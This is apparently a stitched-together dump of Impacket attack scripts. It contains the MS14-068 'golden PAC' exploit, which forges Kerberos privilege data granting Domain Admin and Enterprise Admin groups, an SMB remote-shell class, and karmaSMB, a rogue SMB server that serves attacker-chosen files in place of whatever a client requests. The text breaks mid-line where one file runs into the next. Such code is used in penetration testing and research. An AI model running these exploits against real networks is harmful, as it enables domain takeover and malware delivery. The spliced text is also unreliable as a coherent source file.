RemoteShell(cmd.Cmd): + def __init__(self, server, port, credentials, tid, fid, TGS, share): + cmd.Cmd.__init__(self, False) + self.prompt = '\x08' + self.server = server + self.transferClient = None + self.tid = tid + self.fid = fid + self.credentials = credentials + self.share = share + self.port = port + self.TGS = TGS + self.intro = '[!] Press help for extra shell commands' + + def connect_transferClient(self): + self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, + preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) + + def do_help(self, line): + print(""" + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) + get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir + ! {cmd} - executes a local shell cmd +""" % (self.share, self.share)) + self.send_data('\r\n', False) + + def do_shell(self, s): + os.system(s) + self.send_data('\r\n') + + def do_get(self, src_path): + try: + if self.transferClient is None: + self.connect_transferClient() + + import ntpath + filename = ntpath.basename(src_path) + fh = open(filename,'wb') + logging.info("Downloading %s\\%s" % (self.share, src_path)) + self.transferClient.getFile(self.share, src_path, fh.write) + fh.close() + except Exception as e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + def do_put(self, s): + try: + if self.transferClient is None: + self.connect_transferClient() + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '/' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + f = dst_path + '/' + src_file + pathname = f.replace('/','\\') + logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) + if PY3: + self.transferClient.putFile(self.share, pathname, fh.read) + else: + self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) + fh.close() + except Exception as e: + logging.error(str(e)) + pass + + self.send_data('\r\n') + + + def do_lcd(self, s): + if s == '': + print(os.getcwd()) + else: + try: + os.chdir(s) + except Exception as e: + logging.error(str(e)) + self.send_data('\r\n') + + def emptyline(self): + self.send_data('\r\n') + return + + def default(self, line): + if PY3: + self.send_data(line.encode('cp437')+b'\r\n') + else: + self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') + + def send_data(self, data, hideOutput = True): + if hideOutput is True: + global LastDataSent + LastDataSent = data + else: + LastDataSent = '' + self.server.writeFile(self.tid, self.fid, data) + + +class RemoteStdInPipe(Pipes): + def __init__(self, transport, pipe, permisssions, TGS=None, share=None): + Pipes.__init__(self, transport, pipe, permisssions, TGS, share) + + def run(self): + self.connectPipe() + shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) + shell.cmdloop() + + +class MS14_068: + # 6.1. Unkeyed Checksums + # Vulnerable DCs are accepting at least these unkeyed checksum types + CRC_32 = 1 + RSA_MD4 = 2 + RSA_MD5 = 7 + class VALIDATION_INFO(TypeSerialization1): + structure = ( + ('Data', PKERB_VALIDATION_INFO), + ) + + def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', + copyFile=None, writeTGT=None, kdcHost=None): + self.__username = username + self.__password = password + self.__domain = domain + self.__rid = 0 + self.__lmhash = '' + self.__nthash = '' + self.__target = target + self.__targetIp = targetIp + self.__kdcHost = None + self.__copyFile = copyFile + self.__command = command + self.__writeTGT = writeTGT + self.__domainSid = '' + self.__forestSid = None + self.__domainControllers = list() + self.__kdcHost = kdcHost + + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + self.__lmhash = unhexlify(self.__lmhash) + self.__nthash = unhexlify(self.__nthash) + + def getGoldenPAC(self, authTime): + # Ok.. we need to build a PAC_TYPE with the following items + + # 1) KERB_VALIDATION_INFO + aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) + + unixTime = getFileTime(aTime) + + kerbdata = KERB_VALIDATION_INFO() + + kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 + + # LogoffTime: A FILETIME structure that contains the time the client's logon + # session should expire. If the session should not expire, this structure + # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime + # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as + # an indicator of when to warn the user that the allowed time is due to expire. + kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF + + # KickOffTime: A FILETIME structure that contains LogoffTime minus the user + # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the + # client should not be logged off, this structure SHOULD have the dwHighDateTime + # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. + # The Kerberos service ticket end time is a replacement for KickOffTime. + # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of + # an account. A recipient of the PAC SHOULD<8> use this value as the indicator + # of when the client should be forcibly disconnected. + kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 + kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 + + kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 + kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 + + # PasswordMustChange: A FILETIME structure that contains the time at which + # theclient's password expires. If the password will not expire, this + # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the + # dwLowDateTime member set to 0xFFFFFFFF. + kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF + + kerbdata['EffectiveName'] = self.__username + kerbdata['FullName'] = '' + kerbdata['LogonScript'] = '' + kerbdata['ProfilePath'] = '' + kerbdata['HomeDirectory'] = '' + kerbdata['HomeDirectoryDrive'] = '' + kerbdata['LogonCount'] = 0 + kerbdata['BadPasswordCount'] = 0 + kerbdata['UserId'] = self.__rid + kerbdata['PrimaryGroupId'] = 513 + + # Our Golden Well-known groups! :) + groups = (513, 512, 520, 518, 519) + kerbdata['GroupCount'] = len(groups) + + for group in groups: + groupMembership = GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = group + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + kerbdata['GroupIds'].append(groupMembership) + + kerbdata['UserFlags'] = 0 + kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['LogonServer'] = '' + kerbdata['LogonDomainName'] = self.__domain + kerbdata['LogonDomainId'] = self.__domainSid + kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' + kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD + kerbdata['SubAuthStatus'] = 0 + kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 + kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 + kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 + kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 + kerbdata['FailedILogonCount'] = 0 + kerbdata['Reserved3'] = 0 + + # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is + # asserted by an authentication authority based on proof of possession of client credentials. + #extraSids = ('S-1-18-1',) + if self.__forestSid is not None: + extraSids = ('%s-%s' % (self.__forestSid, '519'),) + kerbdata['SidCount'] = len(extraSids) + kerbdata['UserFlags'] |= 0x20 + else: + extraSids = () + kerbdata['SidCount'] = len(extraSids) + + for extraSid in extraSids: + sidRecord = KERB_SID_AND_ATTRIBUTES() + sid = RPC_SID() + sid.fromCanonical(extraSid) + sidRecord['Sid'] = sid + sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + kerbdata['ExtraSids'].append(sidRecord) + + kerbdata['ResourceGroupDomainSid'] = NULL + kerbdata['ResourceGroupCount'] = 0 + kerbdata['ResourceGroupIds'] = NULL + + validationInfo = self.VALIDATION_INFO() + validationInfo['Data'] = kerbdata + + if logging.getLogger().level == logging.DEBUG: + logging.debug('VALIDATION_INFO') + validationInfo.dump() + print ('\n') + + validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() + validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) + + # 2) PAC_CLIENT_INFO + pacClientInfo = PAC_CLIENT_INFO() + pacClientInfo['ClientId'] = unixTime + try: + name = self.__username.encode('utf-16le') + except UnicodeDecodeError: + import sys + name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') + pacClientInfo['NameLength'] = len(name) + pacClientInfo['Name'] = name + pacClientInfoBlob = pacClientInfo.getData() + pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) + + # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA + serverChecksum = PAC_SIGNATURE_DATA() + + # If you wanna do CRC32, uncomment this + #serverChecksum['SignatureType'] = self.CRC_32 + #serverChecksum['Signature'] = b'\x00'*4 + + # If you wanna do MD4, uncomment this + #serverChecksum['SignatureType'] = self.RSA_MD4 + #serverChecksum['Signature'] = b'\x00'*16 + + # If you wanna do MD5, uncomment this + serverChecksum['SignatureType'] = self.RSA_MD5 + serverChecksum['Signature'] = b'\x00'*16 + + serverChecksumBlob = serverChecksum.getData() + serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) + + # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA + privSvrChecksum = PAC_SIGNATURE_DATA() + + # If you wanna do CRC32, uncomment this + #privSvrChecksum['SignatureType'] = self.CRC_32 + #privSvrChecksum['Signature'] = b'\x00'*4 + + # If you wanna do MD4, uncomment this + #privSvrChecksum['SignatureType'] = self.RSA_MD4 + #privSvrChecksum['Signature'] = b'\x00'*16 + + # If you wanna do MD5, uncomment this + privSvrChecksum['SignatureType'] = self.RSA_MD5 + privSvrChecksum['Signature'] = b'\x00'*16 + + privSvrChecksumBlob = privSvrChecksum.getData() + privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) + + # The offset are set from the beginning of the PAC_TYPE + # [MS-PAC] 2.4 PAC_INFO_BUFFER + offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 + + # Let's build the PAC_INFO_BUFFER for each one of the elements + validationInfoIB = PAC_INFO_BUFFER() + validationInfoIB['ulType'] = PAC_LOGON_INFO + validationInfoIB['cbBufferSize'] = len(validationInfoBlob) + validationInfoIB['Offset'] = offsetData + offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 + + pacClientInfoIB = PAC_INFO_BUFFER() + pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE + pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) + pacClientInfoIB['Offset'] = offsetData + offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 + + serverChecksumIB = PAC_INFO_BUFFER() + serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM + serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) + serverChecksumIB['Offset'] = offsetData + offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 + + privSvrChecksumIB = PAC_INFO_BUFFER() + privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM + privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) + privSvrChecksumIB['Offset'] = offsetData + #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 + + # Building the PAC_TYPE as specified in [MS-PAC] + buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ + privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ + pacClientInfo.getData() + pacClientInfoAlignment + buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment + + pacType = PACTYPE() + pacType['cBuffers'] = 4 + pacType['Version'] = 0 + pacType['Buffers'] = buffers + buffersTail + + blobToChecksum = pacType.getData() + + # If you want to do CRC-32, ucomment this + #serverChecksum['Signature'] = struct.pack(' = +# for example: +# bat = /tmp/batchfile +# com = /tmp/comfile +# exe = /tmp/exefile +# +# The SMB2 support works with a caveat. If two different +# filenames at the same share are requested, the first +# one will work and the second one will not work if the request +# is performed right away. This seems related to the +# QUERY_DIRECTORY request, where we return the files available. +# In the first try, we return the file that was asked to open. +# In the second try, the client will NOT ask for another +# QUERY_DIRECTORY but will use the cached one. This time the new file +# is not there, so the client assumes it doesn't exist. +# After a few seconds, looks like the client cache is cleared and +# the operation works again. Further research is needed trying +# to avoid this from happening. +# +# SMB1 seems to be working fine on that scenario. +# +# Author: +# Alberto Solino (@agsolino) +# Original idea by @mubix +# +# ToDo: +# [ ] A lot of testing needed under different OSes. +# I'm still not sure how reliable this approach is. +# [ ] Add support for other SMB read commands. Right now just +# covering SMB_COM_NT_CREATE_ANDX +# [ ] Disable write request, now if the client tries to copy +# a file back to us, it will overwrite the files we're +# hosting. *CAREFUL!!!* +# + +from __future__ import division +from __future__ import print_function +import sys +import os +import argparse +import logging +import ntpath +try: + import ConfigParser +except ImportError: + import configparser as ConfigParser +from threading import Thread + +from impacket.examples import logger +from impacket import smbserver, smb, version +import impacket.smb3structs as smb2 +from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ + STATUS_OBJECT_PATH_NOT_FOUND +from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ + getFileTime, queryPathInformation + + +class KarmaSMBServer(Thread): + def __init__(self, smb2Support = False): + Thread.__init__(self) + self.server = 0 + self.defaultFile = None + self.extensions = {} + + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file','smb.log') + smbConfig.set('global','credentials_file','') + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','Logon server share') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path','') + + # NETLOGON always needed + smbConfig.add_section('NETLOGON') + smbConfig.set('NETLOGON','comment','Logon server share') + smbConfig.set('NETLOGON','read only','no') + smbConfig.set('NETLOGON','share type','0') + smbConfig.set('NETLOGON','path','') + + # SYSVOL always needed + smbConfig.add_section('SYSVOL') + smbConfig.set('SYSVOL','comment','') + smbConfig.set('SYSVOL','read only','no') + smbConfig.set('SYSVOL','share type','0') + smbConfig.set('SYSVOL','path','') + + if smb2Support: + smbConfig.set("global", "SMB2Support", "True") + + self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) + self.server.processConfigFile() + + # Unregistering some dangerous and unwanted commands + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) + + self.server.unregisterSmb2Command(smb2.SMB2_WRITE) + + self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) + self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) + self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) + self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) + + # And the same for SMB2 + self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) + self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) + self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) + self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) + self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) + + # Now we have to register the MS-SRVS server. This specially important for + # Windows 7+ and Mavericks clients since they WON'T (specially OSX) + # ask for shares using MS-RAP. + + self.__srvsServer = SRVSServer() + self.__srvsServer.daemon = True + self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) + + def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): + connData = smbServer.getConnectionData(connId) + + respSetup = b'' + respParameters = b'' + respData = b'' + findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) + origFileName = os.path.basename(origPathName) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if origPathNameExtension.upper() in self.extensions: + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + if recvPacket['Tid'] in connData['ConnectedShares']: + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + + # 2. We call the normal findFirst2 call, but with our targetFile + searchResult, searchCount, errorCode = findFirst2(path, + targetFile, + findFirst2Parameters['InformationLevel'], + findFirst2Parameters['SearchAttributes'], pktFlags = recvPacket['Flags2'] ) + + respParameters = smb.SMBFindFirst2Response_Parameters() + endOfSearch = 1 + sid = 0x80 # default SID + searchCount = 0 + totalData = 0 + for i in enumerate(searchResult): + #i[1].dump() + try: + # 3. And we restore the original filename requested ;) + i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) + except: + pass + + data = i[1].getData() + lenData = len(data) + if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: + # We gotta stop here and continue on a find_next2 + endOfSearch = 0 + # Simple way to generate a fid + if len(connData['SIDs']) == 0: + sid = 1 + else: + sid = list(connData['SIDs'].keys())[-1] + 1 + # Store the remaining search results in the ConnData SID + connData['SIDs'][sid] = searchResult[i[0]:] + respParameters['LastNameOffset'] = totalData + break + else: + searchCount +=1 + respData += data + totalData += lenData + + + respParameters['SID'] = sid + respParameters['EndOfSearch'] = endOfSearch + respParameters['SearchCount'] = searchCount + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + + #ntCreateAndXParameters.dump() + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls (e.g. SMB_COM_WRITE) + createOptions = ntCreateAndXParameters['CreateOptions'] + if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [respSMBCommand], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if origPathNameExtension.upper() in self.extensions: + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + # 2. We change the filename in the request for our targetFile + ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) + SMBCommand['Data'] = ntCreateAndXData.getData() + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + + # 3. We call the original call with our modified data + return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) + + def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + # The trick we play here is that Windows clients first ask for the file + # and then it asks for the directory containing the file. + # It is important to answer the right questions for the attack to work + + connData = smbServer.getConnectionData(connId) + + respSetup = b'' + respParameters = b'' + respData = b'' + errorCode = 0 + + queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) + + if recvPacket['Tid'] in connData['ConnectedShares']: + path = '' + try: + origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) + origPathName = os.path.normpath(origPathName.replace('\\','/')) + + if ('MS15011' in connData) is False: + connData['MS15011'] = {} + + smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) + if origPathName in connData['MS15011'] or origPathName == '.': + # We already processed this entry, now it's asking for a directory + infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) + else: + # First time asked, asking for the file + infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) + connData['MS15011'][os.path.dirname(origPathName)] = infoRecord + except Exception as e: + #import traceback + #traceback.print_exc() + smbServer.log("queryPathInformation: %s" % e,logging.ERROR) + + if infoRecord is not None: + respParameters = smb.SMBQueryPathInformationResponse_Parameters() + respData = infoRecord + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smb2Read(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + connData['MS15011']['StopConnection'] = True + smbServer.setConnectionData(connId, connData) + return self.origsmb2Read(connId, smbServer, recvPacket) + + def smb2Close(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + # We're closing the connection trying to flush the client's + # cache. + if connData['MS15011']['StopConnection'] is True: + return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED + return self.origsmb2Close(connId, smbServer, recvPacket) + + def smb2Create(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls + createOptions = ntCreateRequest['CreateOptions'] + if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [smb2.SMB2Error()], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + # Are we being asked for a directory? + if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: + if origPathNameExtension.upper() in self.extensions: + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + else: + targetFile = '/' + + # 2. We change the filename in the request for our targetFile + try: + ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') + except UnicodeDecodeError: + import sys + ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le') + ntCreateRequest['NameLength'] = len(targetFile)*2 + recvPacket['Data'] = ntCreateRequest.getData() + + # 3. We call the original call with our modified data + return self.origsmb2Create(connId, smbServer, recvPacket) + + def smb2QueryDirectory(self, connId, smbServer, recvPacket): + # Windows clients with SMB2 will also perform a QueryDirectory + # expecting to get the filename asked. So we deliver it :) + connData = smbServer.getConnectionData(connId) + + respSMBCommand = smb2.SMB2QueryDirectory_Response() + #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + + errorCode = 0xff + respSMBCommand['Buffer'] = b'\x00' + + errorCode = STATUS_SUCCESS + + #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: + # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED + + if connData['MS15011']['FindDone'] is True: + + connData['MS15011']['FindDone'] = False + smbServer.setConnectionData(connId, connData) + return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES + else: + origName, targetFile = connData['MS15011']['FileData'] + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) + + infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + + infoRecord['EaSize'] = 0 + infoRecord['EndOfFile'] = size + infoRecord['AllocationSize'] = size + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + infoRecord['ShortName'] = b'\x00'*24 + #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') + infoRecord['FileName'] = origName.encode('utf-16le') + padLen = (8-(len(infoRecord) % 8)) % 8 + infoRecord['NextEntryOffset'] = 0 + + respSMBCommand['OutputBufferOffset'] = 0x48 + respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) + respSMBCommand['Buffer'] = infoRecord.getData() + b'\xaa'*padLen + connData['MS15011']['FindDone'] = True + + smbServer.setConnectionData(connId, connData) + return [respSMBCommand], None, errorCode + + def smb2TreeConnect(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + respPacket = smb2.SMB2Packet() + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS + respPacket['CreditRequestResponse'] = 1 + respPacket['Command'] = recvPacket['Command'] + respPacket['SessionID'] = connData['Uid'] + respPacket['Reserved'] = recvPacket['Reserved'] + respPacket['MessageID'] = recvPacket['MessageID'] + respPacket['TreeID'] = recvPacket['TreeID'] + + respSMBCommand = smb2.SMB2TreeConnect_Response() + + treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) + + errorCode = STATUS_SUCCESS + + ## Process here the request, does the share exist? + path = recvPacket.getData()[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] + UNCOrShare = path.decode('utf-16le') + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + #share = searchShare(connId, path.upper(), smbServer) + connData['MS15011'] = {} + connData['MS15011']['FindDone'] = False + 